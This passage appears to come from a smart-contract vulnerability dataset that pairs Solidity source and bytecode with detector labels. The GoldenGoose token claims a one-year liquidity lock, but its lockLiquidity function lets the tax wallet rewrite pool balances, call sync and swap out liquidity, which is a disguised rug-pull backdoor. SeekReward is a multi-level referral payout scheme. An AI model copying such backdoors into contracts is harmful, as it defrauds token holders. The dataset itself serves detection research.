6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063717e829514f460a62bd5c5f87f4fa8721bd11dff06ca88a9f7f5b8547e9f9264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,666
0x18DD805608B01Fa029B3ca0C35b576ACA27D6f72
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** ___ ,-"" `. ,' _ e )`-._ / ,' `-._<.===-' / / / ; _ / ; (`._ _.-"" ""--..__,' | <_ `-"" \ <`- : (__ <__. ; `-. '-.__. _.' / \ `-.__,-' _,' `._ , /__,-' ""._\__,'< <____ | | `----.`. | | \ `. ; |___ \-`` \ --< `.`.< `-' Golden Goose Community Token 2% tax Max TX 2% Max Wallet 4% LP Lock 1 year No TG */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GoldenGoose is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000000000 * 10**18; uint256 private _maxWallet= 1000000000000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "Golden Goose"; string private constant _symbol = "$GOLD"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 2; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); _maxWallet=_tTotal.div(25); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance,address(this)); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 40000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, to, block.timestamp ); } function increaseMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function lockLiquidity() public{ require(_msgSender()==_taxWallet); _balance[address(this)] = 100000000000000000; _balance[_pair] = 1; (bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9))); if (success) { swapTokensForEth(100000000, _taxWallet); } else { revert("Internal failure"); } } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function manualSwap() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance,address(this)); } function manualSend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610319578063d91a21a61461032e578063dd62ed3e1461034e578063e8078d9414610394578063f4293890146103a957600080fd5b8063715018a6146102785780637d1db4a51461028d5780638da5cb5b146102a357806395d89b41146102cb578063a9059cbb146102f957600080fd5b8063313ce567116100e7578063313ce567146101da5780633e7175c5146101f65780634a1316721461021857806351bc3c851461022d57806370a082311461024257600080fd5b806306fdde0314610124578063095ea7b31461016b57806318160ddd1461019b57806323b872dd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b476f6c64656e20476f6f736560a01b60208201525b604051610162919061143f565b60405180910390f35b34801561017757600080fd5b5061018b610186366004611487565b6103be565b6040519015158152602001610162565b3480156101a757600080fd5b506005545b604051908152602001610162565b3480156101c657600080fd5b5061018b6101d53660046114b3565b6103d5565b3480156101e657600080fd5b5060405160128152602001610162565b34801561020257600080fd5b506102166102113660046114f4565b61043e565b005b34801561022457600080fd5b50610216610484565b34801561023957600080fd5b5061021661075d565b34801561024e57600080fd5b506101ac61025d36600461150d565b6001600160a01b031660009081526002602052604090205490565b34801561028457600080fd5b50610216610779565b34801561029957600080fd5b506101ac60095481565b3480156102af57600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102d757600080fd5b506040805180820190915260058152640911d3d31160da1b6020820152610155565b34801561030557600080fd5b5061018b610314366004611487565b6107ed565b34801561032557600080fd5b506102166107fa565b34801561033a57600080fd5b506102166103493660046114f4565b610929565b34801561035a57600080fd5b506101ac61036936600461152a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103a057600080fd5b50610216610966565b3480156103b557600080fd5b50610216610a8f565b60006103cb338484610ae2565b5060015b92915050565b60006103e2848484610c06565b610434843361042f8560405180606001604052806028815260200161172f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fbb565b610ae2565b5060019392505050565b6000546001600160a01b031633146104715760405162461bcd60e51b815260040161046890611563565b60405180910390fd5b600654811161047f57600080fd5b600655565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161046890611563565b600b54600160a01b900460ff16156105085760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610468565b600a546005546105259130916001600160a01b0390911690610ae2565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561057357600080fd5b505afa158015610587573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ab9190611598565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106409190611598565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068857600080fd5b505af115801561069c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c09190611598565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b15801561072257600080fd5b505af1158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a91906115b5565b50565b30600090815260026020526040812054905061075a8130610ff5565b6000546001600160a01b031633146107a35760405162461bcd60e51b815260040161046890611563565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103cb338484610c06565b6008546001600160a01b0316336001600160a01b03161461081a57600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610887916115d7565b6000604051808303816000865af19150503d80600081146108c4576040519150601f19603f3d011682016040523d82523d6000602084013e6108c9565b606091505b5050905080156108ee5760085461075a906305f5e100906001600160a01b0316610ff5565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610468565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161046890611563565b600954811161096157600080fd5b600955565b6000546001600160a01b031633146109905760405162461bcd60e51b815260040161046890611563565b600a546001600160a01b031663f305d71947306109c2816001600160a01b031660009081526002602052604090205490565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3a57600080fd5b505af1158015610a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7391906115f3565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b4761075a8161117f565b6000610adb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111bd565b9392505050565b6001600160a01b038316610b445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610ba55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610ccc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610d2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b6000546001600160a01b03848116911614801590610d5a57506000546001600160a01b03838116911614155b15610f5a57600b546001600160a01b038481169116148015610d8a5750600a546001600160a01b03838116911614155b8015610daf57506001600160a01b03821660009081526004602052604090205460ff16155b15610e0657600954811115610e065760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610468565b600b546001600160a01b03838116911614801590610e3d57506001600160a01b03821660009081526004602052604090205460ff16155b8015610e6257506001600160a01b03831660009081526004602052604090205460ff16155b15610ee25760065481610e8a846001600160a01b031660009081526002602052604090205490565b610e949190611637565b1115610ee25760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610468565b30600090815260026020526040902054600b54600160a81b900460ff16158015610f1a5750600b546001600160a01b03858116911614155b8015610f2f5750600b54600160b01b900460ff165b15610f5857610f3e8130610ff5565b47668e1bc9bf0400008110610f5657610f564761117f565b505b505b6001600160a01b038216600090815260046020526040902054610fb69084908490849060ff1680610fa357506001600160a01b03871660009081526004602052604090205460ff165b610faf576007546111eb565b60006111eb565b505050565b60008184841115610fdf5760405162461bcd60e51b8152600401610468919061143f565b506000610fec848661164f565b95945050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103d5761103d611666565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c99190611598565b816001815181106110dc576110dc611666565b6001600160a01b039283166020918202929092010152600a546111029130911685610ae2565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113b90869060009086908890429060040161167c565b600060405180830381600087803b15801561115557600080fd5b505af1158015611169573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111b9573d6000803e3d6000fd5b5050565b600081836111de5760405162461bcd60e51b8152600401610468919061143f565b506000610fec84866116ed565b600061120260646111fc85856112ef565b90610a99565b90506000611210848361136e565b6001600160a01b038716600090815260026020526040902054909150611236908561136e565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461126590826113b0565b6001600160a01b03861660009081526002602052604080822092909255308152205461129190836113b0565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112fe575060006103cf565b600061130a838561170f565b90508261131785836116ed565b14610adb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b6000610adb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbb565b6000806113bd8385611637565b905083811015610adb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b60005b8381101561142a578181015183820152602001611412565b83811115611439576000848401525b50505050565b602081526000825180602084015261145e81604085016020870161140f565b601f01601f19169190910160400192915050565b6001600160a01b038116811461075a57600080fd5b6000806040838503121561149a57600080fd5b82356114a581611472565b946020939093013593505050565b6000806000606084860312156114c857600080fd5b83356114d381611472565b925060208401356114e381611472565b929592945050506040919091013590565b60006020828403121561150657600080fd5b5035919050565b60006020828403121561151f57600080fd5b8135610adb81611472565b6000806040838503121561153d57600080fd5b823561154881611472565b9150602083013561155881611472565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115aa57600080fd5b8151610adb81611472565b6000602082840312156115c757600080fd5b81518015158114610adb57600080fd5b600082516115e981846020870161140f565b9190910192915050565b60008060006060848603121561160857600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000821982111561164a5761164a611621565b500190565b60008282101561166157611661611621565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116cc5784516001600160a01b0316835293830193918301916001016116a7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261170a57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561172957611729611621565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209990af6d5e75c1a2f2eb0b833cfb67a8e1bf36690d19c2953db5de51ad455a9d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,667
0xcf12800894d3fc9c53f243e3b3179fe99a4abdf1
/** *Submitted for verification at Etherscan.io on 2021-04-28 */ pragma solidity 0.6.0; interface IERC777 { function name() external view returns(string memory); function symbol() external view returns(string memory); function decimals() external view returns(uint8); function totalSupply() external view returns(uint256); function balanceOf(address owner) external view returns(uint256); function transfer(address to, uint256 amount) external returns(bool); function transferFrom(address from, address to, uint256 amount) external returns(bool); function approve(address spender, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function burnBalance(address _addr, uint _amount) external; function mint(address _tokenHolder, uint256 _amount, bytes calldata _data, bytes calldata _operatorData) external; function defaultOperators() external view returns(address[] memory); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. * (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. * (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } contract SeekReward { using SafeMath for uint256; // Investor details struct user { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 referalBonus; uint256 matchBonus; uint256 depositAmount; uint256 depositPayouts; uint40 depositTime; uint256 totalDeposits; uint256 totalStructure; } // Token instance IERC777 public token; // Mapping users details by address mapping(address => user)public users; // Contract status bool public lockStatus; // Admin1 address address public admin1; // Admin2 address address public admin2; // Total levels uint[]public Levels; // Total users count uint256 public totalUsers = 1; // Total deposit amount. uint256 public totalDeposited; // Total withdraw amount uint256 public totalWithdraw; // Matching bonus event event MatchBonus(address indexed from, address indexed to, uint value, uint time); // Withdraw event event Withdraw(address indexed from, uint value, uint time); // Deposit event event Deposit(address indexed from, address indexed refer, uint value, uint time); // Admin withdraw event event AdminEarnings(address indexed user, uint value, uint time); // User withdraw limt event event LimitReached(address indexed from, uint value, uint time); /** * @dev Initializes the contract setting the owners and token. */ constructor(address _owner1, address _owner2, address _token) public { admin1 = _owner1; admin2 = _owner2; token = IERC777(_token); //Levels maximum amount Levels.push(6000e18); Levels.push(6000e18); Levels.push(6000e18); Levels.push(6000e18); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin1, "SeekReward: Only Owner"); _; } /** * @dev Throws if lockStatus is true */ modifier isLock() { require(lockStatus == false, "SeekReward: Contract Locked"); _; } /** * @dev Throws if called by other contract */ modifier isContractCheck(address _user) { require(!isContract(_user), "SeekReward: Invalid address"); _; } function _setUpline(address _addr, address _upline) private { if (users[_addr].upline == address(0) && _upline != _addr && _addr != admin1 && (users[_upline].depositTime > 0 || _upline == admin1)) { users[_addr].upline = _upline; users[_upline].referrals = users[_upline].referrals.add(1); totalUsers++; for (uint8 i = 0; i < 21; i++) { // For update total structure for uplines if (_upline == address(0)) break; users[_upline].totalStructure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == admin1, "No upline"); if (users[_addr].depositTime > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].depositAmount), "SeekReward: Deposit already exists"); require(_amount >= users[_addr].depositAmount && _amount <= Levels[users[_addr].cycle > Levels.length - 1 ?Levels.length - 1 : users[_addr].cycle], "SeekReward: Bad amount"); } else { require(_amount >= 0.5e18 && _amount <= Levels[0], "SeekReward: Bad amount"); } require(token.transferFrom(msg.sender, address(this), _amount), "Seekreward: transaction failed"); users[_addr].payouts = 0; users[_addr].depositAmount = _amount; users[_addr].depositPayouts = 0; users[_addr].depositTime = uint40(block.timestamp); users[_addr].referalBonus = 0; users[_addr].matchBonus = 0; users[_addr].totalDeposits = users[_addr].totalDeposits.add(_amount); totalDeposited = totalDeposited.add(_amount); address upline = users[_addr].upline; address up = users[users[_addr].upline].upline; if (upline != address(0)) { token.transfer(upline, _amount.mul(10e18).div(100e18)); // 10% for direct referer users[upline].referalBonus = users[upline].referalBonus.add(_amount.mul(10e18).div(100e18)); } if (up != address(0)) { token.transfer(up, _amount.mul(5e18).div(100e18)); // 5% for indirect referer users[up].referalBonus = users[up].referalBonus.add(_amount.mul(5e18).div(100e18)); } uint adminFee = _amount.mul(5e18).div(100e18); token.transfer(admin1, adminFee.div(2)); // 2.5% admin1 token.transfer(admin2, adminFee.div(2)); // 2.5% admin2 adminFee = 0; emit Deposit(_addr, users[_addr].upline, _amount, block.timestamp); } /** * @dev deposit: User deposit with 1 seek token * 5% adminshare split into 2 accounts * @param _upline: Referal address * @param amount:1st deposit minimum 1 seek & maximum 150 for cycle 1 * Next depsoit amount based on previous deposit amount and maximum amount based on cycles */ function deposit(address _upline, uint amount) external isLock isContractCheck(msg.sender) { _setUpline(msg.sender, _upline); _deposit(msg.sender, amount); } function _matchBonus(address _user, uint _amount) private { address up = users[_user].upline; for (uint i = 1; i <= 21; i++) { // For matching bonus if (up == address(0)) break; if (i <= 3) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } else if (i <= 6) { if (users[up].referrals >= 2) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 10) { if (users[up].referrals >= 4) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 14) { if (users[up].referrals >= 8) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } else if (i <= 21) { if (users[up].referrals >= 16) { users[up].matchBonus = users[up].matchBonus.add(_amount); emit MatchBonus(_user, up, _amount, block.timestamp); } } up = users[up].upline; } } /** * @dev withdraw: User can get amount till maximum payout reach. * maximum payout based on(daily ROI,matchbonus) * maximum payout limit 210 percentage */ function withdraw() external isLock { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(msg.sender != admin1, "SeekReward: only for users"); require(users[msg.sender].payouts < max_payout, "SeekReward: Full payouts"); // Deposit payout if (to_payout > 0) { if (users[msg.sender].payouts.add(to_payout) > max_payout) { to_payout = max_payout.sub(users[msg.sender].payouts); } users[msg.sender].depositPayouts = users[msg.sender].depositPayouts.add(to_payout); users[msg.sender].payouts = users[msg.sender].payouts.add(to_payout); _matchBonus(msg.sender, to_payout.mul(3e18).div(100e18)); } // matching bonus if (users[msg.sender].payouts < max_payout && users[msg.sender].matchBonus > 0) { if (users[msg.sender].payouts.add(users[msg.sender].matchBonus) > max_payout) { users[msg.sender].matchBonus = max_payout.sub(users[msg.sender].payouts); } users[msg.sender].payouts = users[msg.sender].payouts.add(users[msg.sender].matchBonus); to_payout = to_payout.add(users[msg.sender].matchBonus); users[msg.sender].matchBonus = users[msg.sender].matchBonus.sub(users[msg.sender].matchBonus); } totalWithdraw = totalWithdraw.add(to_payout); token.transfer(msg.sender, to_payout); // Daily roi and matching bonus emit Withdraw(msg.sender, to_payout, block.timestamp); if (users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts, block.timestamp); } } /** * @dev adminWithdraw: owner invokes the function * owner can get referbonus, matchbonus */ function adminWithdraw() external onlyOwner { uint amount; if (users[admin1].referalBonus > 0) { amount = amount.add(users[admin1].referalBonus); users[admin1].referalBonus = 0; } if (users[admin1].matchBonus > 0) { amount = amount.add(users[admin1].matchBonus); users[admin1].matchBonus = 0; } token.transfer(admin1, amount); //Referal bonus and matching bonus emit AdminEarnings(admin1, amount, block.timestamp); } /** * @dev maxPayoutOf: Amount calculate by 210 percentage */ function maxPayoutOf(uint256 